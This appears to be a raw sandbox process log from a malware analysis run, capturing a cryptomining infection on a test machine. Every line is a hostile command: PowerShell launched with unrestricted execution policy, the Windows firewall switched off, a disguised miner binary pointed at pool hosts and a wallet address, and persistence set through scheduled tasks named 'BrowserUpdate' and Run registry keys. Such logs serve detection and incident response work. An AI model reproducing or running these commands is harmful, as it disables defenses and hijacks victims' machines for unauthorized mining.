powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\xms.ps1
2336netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
2460NETSTAT.EXE "C:\Windows\system32\NETSTAT.EXE" -ano
2552findstr.exe "C:\Windows\system32\findstr.exe" TCP
2604network02.exe "C:\Users\test22\AppData\Local\Temp\network02.exe" --donate-level 1 -o b.oracleservice.top -o 198.23.214.117:8080 -o 51.79.175.139:8080 -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
2932schtasks.exe "C:\Windows\system32\schtasks.exe" /create /F /sc minute /mo 1 /tn BrowserUpdate /tr "C:\Users\test22\AppData\Roaming\network02.exe --donate-level 1 -o b.oracleservice.top -o 198.23.214.117:8080 -o 51.79.175.139:8080 -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B"
2984reg.exe "C:\Windows\system32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "C:\Users\test22\AppData\Roaming\network02.exe --donate-level 1 -o b.oracleservice.top -o 198.23.214.117:8080 -o 51.79.175.139:8080 -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B" /t REG_SZ /f
3044schtasks.exe "C:\Windows\system32\schtasks.exe" /create /F /sc minute /mo 1 /tn Browser2Update /tr "C:\Users\test22\AppData\Local\Temp\network02.exe --donate-level 1 -o b.oracleservice.top -o 198.23.214.117:8080 -o 51.79.175.139:8080 -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B"
2060reg.exe "C:\Windows\system32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d "C:\Users\test22\AppData\Local\Temp\network02.exe --donate-level 1 -o b.oracleservice.top -o 198.23.214.117:8080 -o 51.79.175.139:8080 -o 167.114.114.169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B" /t REG_SZ /f
2284